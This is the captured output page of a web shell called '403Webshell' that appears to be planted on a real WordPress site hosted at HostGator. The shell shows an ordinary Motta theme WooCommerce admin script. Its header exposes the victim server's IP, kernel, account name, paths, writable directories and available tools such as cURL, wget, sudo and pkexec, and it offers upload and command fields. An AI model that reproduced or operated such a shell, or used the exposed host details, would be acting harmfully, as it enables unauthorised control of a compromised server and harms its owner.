403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.49
Web Server : Apache
System : Linux gator2125.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /home4/cozeellc/public_html/wp-content/themes/motta/assets/js/backend/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home4/cozeellc/public_html/wp-content/themes/motta/assets/js/backend/woocommerce.js
jQuery(document).ready(function ($) {
	"use strict";

	var $save_attributes = 0;

	$( '#woocommerce-product-data' ).on( 'click', '.save_attributes', function() {
		$save_attributes = 1;
	} );

	$( '#woocommerce-product-data' ).on( 'click', '.advanced_options', function() {
		if( $save_attributes == 0 ) {
			return false;
		}

		$( '#motta-product-attributes' ).block({
			message: null,
			overlayCSS: {
				background: '#fff',
				opacity: 0.6
			}
		});

		var postID = $('#post_ID').val();
		$.ajax({
			url     : ajaxurl,
			dataType: 'json',
			method  : 'post',
			data    : {
				action : 'motta_wc_product_attributes',
				post_id: postID
			},
			success : function (response) {
				$('#motta-product-attributes').html(response.data);
				$('#motta-product-attributes').unblock();
				$save_attributes = 0;
			}
		});

	} );

});

Youez - 2016 - github.com/yon3zu
LinuXploit